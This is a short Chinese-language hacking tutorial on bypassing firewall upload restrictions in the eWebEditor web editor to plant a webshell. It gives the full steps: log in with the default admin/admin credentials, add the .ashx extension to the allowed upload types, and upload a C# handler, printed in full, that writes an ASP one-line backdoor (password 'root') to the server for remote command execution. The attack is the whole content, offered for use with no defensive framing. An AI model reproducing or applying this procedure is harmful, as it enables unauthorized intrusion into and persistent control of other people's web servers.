eweb上传遇到防火墙限制的解决办法

今天看了前面的原创帖子说到eweb遇到asp,asa,cer被限制访问拿不了shell,正好这个问题我是知道的。
应该很多大牛都会的吧，估计还是有些不会的，就将就看看吧。

这是一个eweb入口（废话）

 

用默认帐户密码admin admin进入

 

样式添加asa扩展名

 

直接上传asp马

 

到这里都是顺利的，但是。。当你访问马的时候。。

 

试过了小马，一句话，会出现同样的问题

 

解决方法：

 

在样式添加里加上扩展名ashx

 

创建一个1.ashx的文件, 上传，代码如下：

<%@ WebHandler Language="C#" Class="Handler" %>  using System; using System.Web; using System.IO; public class Handler : IHttpHandler {         public void ProcessRequest (HttpContext context) {         context.Response.ContentType = "text/plain";                  StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));         file1.Write("<%response.clear:execute request(\"root\"):response.End%>");         file1.Flush();         file1.Close();              }      public bool IsReusable {         get {             return false;         }     }  } 复制代码

然后直接访问它。。

 

它会在当前目录生成一个root.asp的一句话木马，密码为root

 

然后连接一句话木马就可以啦~~

 

拿到shell

 

标签分类：